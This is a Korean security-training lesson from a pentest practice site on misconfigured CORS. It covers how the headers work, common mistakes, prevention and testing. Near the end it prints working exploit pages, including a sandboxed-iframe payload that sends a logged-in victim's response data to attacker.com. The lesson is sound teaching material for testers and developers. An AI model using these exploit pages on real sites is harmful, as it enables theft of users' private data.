펜테스트짐


훈련을 통해 당신의 실력을 향상시켜보세요.



취약한 CORS 구성

모두 4명의 회원님이 완료했어요.


 실습 환경

  실습을 하시려면 로그인이 필요합니다.

이 훈련에서는 취약한 CORS 구성에 대해 알아보고 취약한 CORS 구성을 활용한 공격과 이를 예방하는 방법에 대해 학습합니다. 또한 취약한 CORS 구성의 일반적인 사례가 구현된 실습 환경을 통해 취약점을 탐지하고 테스트하는 방법을 직접 연습하고 익힐 수 있습니다.






CORS란?


CORS(Cross-site Origin Sharing, 교차 출처 리소스 공유)는 특정 웹 애플리케이션의 리소스를 다른 출처(Origin)에서 요청하고 접근할 수 있도록 하는 웹 브라우저의 기술입니다. 여기에서 말하는 출처란 일반적인 URL 체계에서 프로토콜(http://, https://와 같은), 도메인, 포트번호까지를 말하며, CORS에 의해 http://aaa.com이라는 웹 사이트에서 http://bbb.com의 리소스에 요청하고 대응되는 응답 내용에 접근할 수 있게 됩니다. 


왜 CORS를 사용할까? 


아마 여러분께서 훈련을 차례대로 학습하셨다면 웹 브라우저의 보안 메카니즘인 SOP(Same Origin Policy, 동일 출처 정책)에 대해 들어보셨을 겁니다. SOP는 출처가 서로 다른 웹 사이트간의 리소스 공유를 원천적으로 차단하고 리소스가 호스팅되는 출처 내에서만 접근이 가능하도록 보호하는 역할을 합니다. 하지만 개발자는 때때로 저마다의 이유로 인해 SOP를 완화하고 다른 출처의 리소스에 접근해야 할 상황에 직면하는 경우가 많습니다. 사실 요즘 대부분의 웹은 다른 출처의 리소스를 사용하죠. 대표적인 예로 API 서버를 생각해볼 수 있습니다. 어떤 웹 사이트(주소는 http://example.com 이라 합시다.)는 필요 시 별도로 구성된 API서버(주소는 http://api.example.com이라 가정합니다.)에 자바스크립트를 통한 XMLHttpRequest 요청을 보내어 JSON 데이터를 추출해오거나 어떤 기능을 수행하기도 합니다. 이를 위해서는 http://example.com 웹 사이트에서 시작된 요청이 웹 브라우저의 SOP 적용을 받지 않고 출처가 다른 http://api.example.com의 리소스에 접근할 수 있어야 합니다. 이것을 가능하게 해주는 것이 바로 CORS입니다. CORS가 등장하기 이전에는 JSONP 등의 방법을 이용하여 SOP를 우회해야 했고 이러한 작업으로 인해 또 다른 보안 문제가 발생하기도 했습니다. 따라서 보다 안전한 방법으로 SOP를 완화하고 필요에 따라 출처가 다른 웹 사이트의 리소스 접근을 허용할 수 있도록 해주는 CORS가 등장했습니다. 

  더 읽어보세요.


CORS는 어떻게 동작할까?


CORS의 원리는 생각보다 단순합니다.  CORS는 일반적인 HTTP 요청과 응답에 특수한 요청헤더와 응답헤더를 추가함으로써 동작하게 됩니다. 추가되는 특수한 헤더는 훈련 중에 아래에 링크된 "웹 클라이언트측 기술" 훈련을 살펴보시길 바랍니다.

  더 읽어보세요.


단순 요청(Simple Request)

위에서 제시했던 http://example.com 에서 http://api.example.com/some-data 으로 Ajax GET 요청을 통해 데이터를 받아오는 상황을 예로 들어보겠습니다. 이 때 http://example.com 은 자기 자신의 도메인 값을 가진 Origin 헤더를 추가하여 요청을 보냅니다. 

GET /some-data HTTP/1.1
Host: api.example.com
Origin: http://example.com
...생략...

위의 요청을 받은 API서버(http://api.example.com)는 다음과 같이 응답에 Access-Control-Allow-Origin 헤더(이하 ACAO 헤더)를 추가하여 응답합니다.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://example.com
...생략...

추가된  Access-Control-Allow-Origin: http://example.com 의 의미는 요청된 리소스를 http://example.com 에게 접근 허용한다는 의미입니다. 간단하죠? 이런 CORS 동작 방식을 일컬어 Simple Request(단순 요청)이라고 부릅니다.


CORS 단순요청 동작 메카니즘


만약 API 서버에서 제공되는 데이터가 누구나 접근 가능한 공개 데이터라면 데이터를 제공하는 서버측에서는 ACAO 헤더의 값을 다음과 같이 특정 출처가 아닌 모든 출처를 의미하는 와일드카드(*)를 사용하기도 하죠. 이런 경우 출처가 다른 모든 웹 사이트에서 해당 데이터를 읽을 수 있게 됩니다.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
...생략...


보시다시피 정말 단순합니다. 사실 위에서 살펴본 단순 요청은 특정 조건들이 만족되는 일부 상황에서만 사용되는 방식입니다.

특정 조건이란 다음과 같습니다.

  • HTTP 메소드가 GET, POST, HEAD 중 하나여야 함 
  • 유저에이전트(웹 브라우저)에 의해 자동으로 설정되는 헤더만 사용해야 함: Connection, User-Agent 등 -> 즉, 사용자가 정의한 커스텀 헤더가 없어야 함
  • 수동으로 설정 가능한 헤더 중 다음의 헤더만 사용해야 함: Accept, Accept-Language, Content-Language, Content-Type (단, Content-Type 헤더는 값이 application/x-www-form-urlencoded, multipart/form-data, text/plain 인 경우에만 해당됨)


만족되어야 할 조건에 대해서 자세한 내용을 보시려면 아래 MDN 문서를 확인해보세요.

  더 읽어보세요.

하지만 시간이 점차 지남에 따라 GET, POST, HEAD 메소드 외에 PUT, DELETE 등의 메소드를 사용하게 되었고 오래된 서버들은 PUT, DELETE와 같은 메소드를 사용하는 요청이 브라우저에서 오는 정상 요청이 아니라고 판단하는 문제가 생겨났습니다. 이 상황을 해결하기 위해 CORS는 프리플라이트 요청 방식(Preflighted Request)이라는 것을 사용하게 됩니다.


프리플라이트 요청(Preflighted Request)

프리플라이트 요청 방식은 말 그대로 메인 요청에 앞서 프리플라이트 요청이라는 것을 보내서 클라이언트와 서버간 협의과정을 거치게 됩니다. 단지 단순 요청보다 수행되는 단계가 하나 더 있을 뿐입니다. 즉 프리플라이트 요청 방식은 프리플라이트 요청과 메인 요청 두 단계로 구분해볼 수 있습니다.

첫번 째 단계인 프리플라이트 요청은 클라이언트가 OPTIONS 헤더를 이용해 메인 요청에 사용될 HTTP 메소드의 종류와 커스텀 헤더 이름을 보내고 서버는 이에 대한 허용 여부를 클라이언트에게 알려주게 됩니다.

다시 API서버(http://api.example.com)를 예로 들어 살펴봅시다. http://example.com 웹 사이트는 아래와 같은 요청을 API서버에 먼저 보내봅니다.

OPTIONS /some-data HTTP/1.1
Host:api.example.com
Origin: http://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-Custom-Header

...생략...

위 요청은 크로스 도메인 리소스 요청에 사용할 메소드는 POST이고, X-Custom-Header 라는 헤더를 사용할 것임을 서버에 알려줍니다. 

이에 서버는 다음과 같은 응답을 보내서 POST 메소드와 X-Custom-Header를 요청에 사용할 수 있음을 알려주게 되는 것이죠. 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://example.com
Access-Control-Allow-Method: POST
Access-Control-Allow-Headers: X-Custom-Header

...생략...

위와 같이 클라이언트와 서버간 프리플라이트 요청을 통해 협의를 이후에 진행되는 메인 요청은 단순 요청 방식과 동일합니다. 


CORS 프리플라이트 요청 동작 메카니즘


자격증명이 있는 CORS 요청 (Credentialed Request)

웹 브라우저는 HTTP 요청에 쿠키를 포함시켜 전송합니다. 하지만 보안상의 이유로 자바스크립트내에서 XMLHttpRequest를 통한 Cross-Origin 요청은 기본적으로 쿠키를 포함시키지 않는데요. XMLHttpRequest로 출처가 다른 웹사이트에 자격증명이 포함된 요청을 전송하려면 다음과 같이 withCredentials를 true로 설정해줘야 합니다.

const xhr = new XMLHttpRequest();
const url = 'http://api.example.com/some-data';
...
function sendRequest() {
    xhr.open('GET', url, true);
    xhr.withCredentials = true;
    ...생략...
    xhr.send();
}

위에서 작성된 자격증명이 포함된 Cross-Origin 요청에 대해 서버는 다음과 같이 True값을 갖는 Access-Control-Allow-Credentials 헤더(ACAC 헤더)를 응답에 추가하여  리소스 접근을 허용할 수 있습니다. 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://example.com
Access-Control-Allow-Credentials: True
...생략...

만일  Access-Control-Allow-Credentials: True 가 없다면 웹 브라우저는 응답의 내용을 표시하지 않게 됩니다.

위의 요청과 응답은 GET 메소드를 사용하는 등 단순 요청의 조건을 충족하므로 프리플라이트 요청 단계없이 아래와 같이 동작하게 됩니다. 


CORS 자격증명이 있는 요청 동작 메커니즘


주의해야 할 점은 만일 서버가 ACAO 헤더에 와일드카드를 써서 응답하는 경우에는 withCredentials를 true로 설정하였다 해도 웹 브라우저에 의해 쿠키 전송은 차단됩니다. 자격증명 전송을 허용해야 한다면((즉, ACAC 헤더를 True로 설정해야 한다면) ACAO 헤더에 와일드카드(*)를 사용할 수 없고 특정 출처를 명시해줘야 합니다. 

  • ACAO 헤더가 와일드카드이므로 쿠키가 전송되지 않음
Access-Control-Allow-Origin: *                 
Access-Control-Allow-Credentials: True
  • ACAO 헤더에 특정 출처를 명시하고 ACAC가 true이므로 쿠키가 정상적으로 전송됨
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true


취약한 CORS 구성이란? 


개발자가 CORS 정책을 잘못 구성할 경우 심각한 보안 위협이 될 수 있습니다. 다음은 취약한 CORS 구성의 사례를 보여줍니다.


ACAO 헤더에 Origin 요청 헤더의 값을 그대로 사용

어떤 웹 사이트들은 Origin 요청 헤더의 값을 Access-Control-Allow-Origin 응답 헤더에 사용하여 Cross-Origin 요청을 허용합니다. 이런 경우는 보통  CORS 정책을 자동화하려는 게으른 개발자에 의해 구현됩니다. 이와 같이 동작하는 웹 사이트는 출처가 다른 모든 웹 사이트에 해당 리소스를 제공하는 꼴이 됩니다. 사실상 CORS 설정을 무용지물로 만드는 것과 다름 없는 것이죠. 


Origin을 그대로 사용하는 잘못된 사례


만일 공격자가 자신의 웹사이트(attacker.com)에서 other-origin.com으로 자격증명이 필요한 Cross-Origin 요청을 하는 악성 코드를 만들어두었다고 합시다. 이 악성코드를 other-origin.com에 인증을 완료한 누군가(피해자)가 실행한다면 아래와 같이 아무런 제약없이 피해자의 민감 정보를 포함한 리소스를 공격자의 웹사이트에서 접근할 수 있게 됩니다.


Origin 헤더를 그대로 사용해 공격자 웹 사이트에서 전송된 요청도 허용해버림

("나는 관대하다" 이미지 출처: 어반브러시)


안전하지 않은 정규표현식으로 Origin 헤더 검증

어떤 웹 사이트들은 정규표현식을 사용해 Origin 헤더를 통해 받은 출처가 리소스 접근을 허용하는 출처에 해당되는지 검증합니다. 적절한 정규표현식은 효과적으로 악용을 막을 수 있지만 정규표현식이 안전하지 않다면 우회할 수 있습니다.

만일 아래와 같은 정규표현식을 사용하여 Origin 헤더를 검증하는 경우를 봅시다.

regexp = "[a-z]+.example.com";

이 정규표현식은 얼핏 보면 example.com을 포함한 하위도메인에게만 접근을 허용하는 것 같습니다. 하지만 정규표현식에서 점(.)의 의미는 모든 문자를 뜻합니다. 결국 공격자는 attackerexample.com 도메인을 준비하기만 하면 이 검증 로직은 손쉽게 우회할 수 있습니다.


안전하지 못한 검증은 인해 우회될 수 있음


비슷한 경우로 Origin 헤더가 유효한 도메인으로 시작되는지 검증하는 경우도 있습니다. 만일 아래와 같은 정규표현식으로 검증한다면 어떨가요?

regexp = "example.com.+[a-z]";

눈치채셨다시피 위 정규표현식을 사용한 검증 로직은 http://example.com으로 시작되는 모든 출처에 대해 리소스 접근을 허용하게 되고, 공격자는 그저 http://example.com.attacker.com 또는  http://example.comattacker.com 등의 도메인을 준비하여 우회할 수 있습니다. 


NULL 출처 허용

Origin 헤더는 NULL 값을 가질 수 있습니다.

RFC6454 Web Origin Concept 문서를 보면 개인정보에 민감한 컨텍스트에서 HTTP 요청을 발행할 때 Origin 헤더를 NULL로 발행해야 한다고 명시하고 있습니다. 

7.1 User Agent Requirements

The user agent may include an Origin header field in any HTTP request. The user agent must not include more than one Origin header field in any HTTP request.
Whenever a user agent issues an HTTP request from a "privacy-sensitive" context, the user agent must send the value "null" in the Origin header field.
(번역)
유저 에이전트는 모든 HTTP 요청에 Origin 헤더 필드를 포함할 수 있습니다. 유저 에이전트는 HTTP 요청에 둘 이상의 Origin 헤더 필드를 포함해서는 안 됩니다.
유저 에이전트가 "개인정보에 민감한(privacy-sensitive)" 컨텍스트에서 HTTP 요청을 발행할 때마다 유저 에이전트는 Origin 헤더 필드에 "null" 값을 보내야 합니다.

이 문서에서는 개인정보에 민감한 컨텍스트를 명확히 정의하지는 않았지만 알려진 바로는 로컬 환경에서 Cross-Origin 요청이 발생할 때와 Cross-Origin 요청이 또 다른 웹 사이트로 리다이렉트될 때 Origin 헤더를 NULL로 변경한다고 합니다.

이런 이유로 인해 로컬 환경에서 개발하는 개발자들은 가끔 NULL Origin 요청에 대해 리소스 접근을 허용하도록 서버를 설정하곤 합니다. null Origin이 허용된 HTTP 요청/응답 메세지의 예는 다음과 같습니다.

  • 요청 (null 값을 갖는 Origin 헤더가 발행됨)
GET /sensitive-data HTTP/1.1
Host: other-origin.com
Origin: null
Cookie: mysessid=some-value
...생략...
  • 응답 (ACAO 헤더를 통해 null Origin에 대한 접근을 허용함)
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: True
...생략...

개발이 끝난 후 허용된 NULL Origin을 제거하지 않고 그대로 방치한 채 호스팅을 한다면 Sandbox 처리된 iframe을 통한 공격에 의해 악용될 수 있습니다. 공격 방법에 관해서는 아래 취약한 CORS 구성 테스트 방법 섹션에서 다루도록 하겠습니다. 공격자가 작성한 악성스크립트를 attacker.com/malpage에서 호스팅하고 피해자가 malpage를 방문했다고 가정할 경우 공격자는 다음과 같은 과정을 통해 피해자의 민감한 데이터를 획득할 수 있습니다.



NULL Origin을 허용할 경우 공격자는 피해자의 민감한 데이터 획득이 가능함


와일드카드(*) 출처 허용

CORS 정책은 자격증명이 포함된 Cross-Origin 요청에 대해서는 ACAO 헤더에 와일드카드(*) 사용을 금지하고 특정 출처를 명시하도록 규정하고 있습니다. 이는 자격증명이 요구되는 개인의 민감한 데이터에 대한 접근을 제한하기 위함입니다. 만일 다음과 같이 자격증명이 포함된 Cross-Origin 요청에 서버가 다음과 같이 응답한다면 웹 브라우저는 알아서 응답에 접근할 수 없도록 차단해버리죠.

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: True

아무튼 웹 리소스에 누구에게나 공개된 정보만 포함된 경우에는 와일드카드(*) 출처를 허용하는 것이 위험하지 않은 것으로 간주되지만 경우에 따라 일부 취약한 사례가 있을 수 있습니다.

가령 개발자가 HTTP 응답 메세지에 키값이나 패스워드 등의 민감한 정보를 포함하는 웹 리소스에 대해 와일드카드(*)로 허용한 경우가 이에 해당됩니다. 공격자는 별다른 제약없이 민감한 정보를 획득하고 이 정보를 바탕으로 후속 공격을 수행할 수 있을지도 모릅니다. 


민감한 정보가 포함된 웹페이지를 와일드카드(*) Origin에 대해 허용할 경우 정보가 유출됨



취약한 CORS 구성을 예방 및 완화하려면


CORS를 안전하게 구성하려면 다음의 지침을 확인하고 점검해야 합니다.


신뢰할 수 있는 도메인 관리 및 안전한 검증

웹 리소스에 접근할 수 있는 신뢰할 수 있는 도메인을 관리하고 화이트리스트 방식으로 안전하게 검증하여 요청을 발행한 출처가 신뢰할 수 있는 도메인 목록에 있는 경우에만 ACAO 헤더에 해당 출처를 지정해야 합니다. 


NULL 출처 허용 금지

공격자는 샌드박스 처리된 iframe을 이용해 Origin 헤더에 NULL을 지정해 요청할 수 있으므로 NULL 출처를 리소스 접근 허용 목록에 포함시키지 말아야 합니다.


와일드카드(*) 출처 허용 금지

민감한 정보가 포함된 웹 리소스에 대해서는 와일드카드(*) 출처를 허용해선 안됩니다. 와일드카드(*)를 사용해 모든 출처에 대해 리소스 접근을 허용해야 할 경우에는 민감한 정보가 포함되어 있는지 철저히 확인하고 제거해야 합니다.

 

취약한 CORS 구성 테스트 방법



Step 1. 민감한 정보를 반환하는 요청 식별

웹 브라우저에 ZAP 프록시 또는 Burp Suite 프록시 도구를 설정하고 웹 애플리케이션의 기능을 모두 사용해봅니다. 웹 애플리케이션을 탐색하면서 사용자의 개인 정보나 민감한 정보가 응답에 포함되는 진입점(엔드포인트)을 찾습니다.


Step 2. CORS 취약 여부 테스트

Step 1에서 식별된 진입점을 이용해 아래와 같이 임의의 출처가 지정된 Origin 헤더를 추가하거나 이미 존재하는 경우 Origin 헤더의 출처를 변경하여 요청해봅니다. 사용할 출처는 본인이 원하는 어떤 출처라도 상관없습니다.

Origin: https://attacker.com

그리고 요청을 통해 반환되는 응답 메세지에 CORS를 위해 사용되는 응답 헤더가 포함되는지 또는 이미 존재할 경우 ACAO 헤더에 어떤 변화가 있는지 확인합니다. 응답 메세지에 아래와 같은 유형으로 CORS 관련 헤더가 표시된다면 해당 진입점은 잠재적으로 취약하고 악용이 가능할 수 있습니다.


유형 1) 반사된 ACAO, True ACAC

Origin 요청 헤더를 통해 전송된 출처(https://attacker.com)가 그대로 ACAO 응답 헤더에 반사되어 표시되고 ACAC 헤더에 True가 설정되어 있는 경우입니다. 

HTTP/1.1 200 OK
...생략...
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: True

...생략...

이와 같은 형태의 응답은 취약한 CORS 구성을 테스트하면서 만나볼 수 있는 최상의 사례입니다. 만약 서버가 Origin 헤더의 값에 대해 어떠한 검증도 하지 않는다면 테스터는 자신의 웹 사이트에서 호스팅되는 아래와 같은 익스플로잇 페이지를 통해 응답 메세지에 표시된 민감한 데이터를 쉽게 획득할 수도 있습니다. 

<!DOCTYPE html>
<html>
   <head>
      <script>
         function cors() {
       var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
        document.getElementById("demo").innerHTML = this.responseText;
        }
          };
          xhr.open("GET", "https://vulnerable.com/path_to_get_data", true); //취약한 웹의 진입점으로 변경
          xhr.withCredentials = true;
          xhr.send();
         }
      </script>
   </head>
   <body>
      <center>
      <h2>CORS Exploit</h2>
      <h3>Response contents</h3>
      <div id="demo">
         <button type="button" onclick="cors()">Exploit</button>
      </div>
   </body>
</html>


유형 2) NULL ACAO, True ACAC

다음 응답 메세지와 같이 ACAO 헤더에 null이 허용되고 ACAC 헤더가 True로 설정되어 있는 경우입니다. 

HTTP/1.1 200 OK
...생략...
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: True

...생략...

먼저 살펴본 "반사된 ACAO & True ACAC"와 다른 점은 ACAO 헤더에 허용된 출처가 null이라는 점 뿐입니다. 그렇다면 우리는 취약한 웹 애플리케이션으로 null 출처를 가진 Cross-Origin 요청을 보낼 수 있어야 합니다. 몇 가지 알려진 방법이 있지만 Sandbox 처리된 iframe을 통해 가능합니다. 아래와 같은 익스플로잇 페이지를 작성합니다. 좀 복잡해보일 수도 있지만 단순합니다. "반사된 ACAO & True ACAC"에서 사용했던 익스플로잇 페이지를 Sandbox 처리된 iframe 태그의 src로 사용하였을 뿐입니다. 

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
        function cors() {
                var xhr = new XMLHttpRequest();
                xhr.onreadystatechange = function() {
                        if (this.readyState == 4 && this.status == 200) {
                                document.getElementById('demo').innerText = this.responseText;
                        }
                };
                xhr.open('get','https://vulnerable.com/path_to_get_data',true); //취약한 웹의 진입점으로 변경
                xhr.withCredentials = true;
                xhr.send();             
        };
</script>
<center>
<h2>CORS Exploit</h2>
<button type='button' onclick='cors()'>Exploit</button>
<hr>
<h3>Response</h3>
</center>
<div id='demo'>
</div>" width="100%" height="50%" style="background-color:#e1caca;">
</iframe>

Exploit 버튼을 클릭하면 iframe 내부에 취약한 웹 애플리케이션에서 가져온 응답 메세지가 표시되게 됩니다.

악의적인 공격자가 실제 공격에 사용될 때에는 아래와 같이 공격자의 웹 서버(attacker.com)로 응답 메세지를 전송하는 코드를 사용할 수 있습니다.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
   <script>
      var xhr = new XMLHttpRequest();
      xhr.onload = reqListener;
      xhr.open('get','https://vulnerable.com/path_to_get_data',true); //취약한 웹의 진입점으로 변경
      xhr.withCredentials = true;
      xhr.send();
      function reqListener() {
         location='https://attacker.com/getdata?restxt='+encodeURIComponent(this.responseText);
      };
   </script>">
</iframe>


실습 문제 풀이


아래 내용을 읽기 전에 본 훈련의 가상 실습 환경을 생성하여 먼저 실습해보실 것을 권장드립니다. 제시된 풀이 방법은 수많은 해결법 중 하나일 뿐이며 다양한 방법으로 해결이 가능할 수 있습니다.


Exercise 1

이 문제는 개발자가 CORS 설정을 자동화했습니다. 하지만 개발자의 실수로 인해 모든 출처에 대해 웹 리소스를 허용하는 실수를 저질렀고 이로 인해 사용자의 프로필 정보가 악의적인 사용자에게 유출될 수 있습니다.


Exercise 2

이 문제는 하위도메인의 Cross-Origin 요청만을 허용하고 그 외 다른 출처는 차단하기 위해 정규표현식을 통해 출처를 검증하도록 구현되었니다. 하지만 개발자의 부주의로 안전하지 않은 정규표현식이 사용되었고 결국 사용자 프로필 정보의 유출로 이어집니다.


Exercise 3

이 문제는 개발자가 편의상 허용해두었던 null 출처를 신뢰하는 출처 리스트에서 제거하는 것을 잊어버렸습니다. 악의적인 공격자가 Origin 헤더의 값을 null로 변환시키고 민감한 정보를 획득하는 것은 크게 어려운 일이 아닙니다.



참고 문헌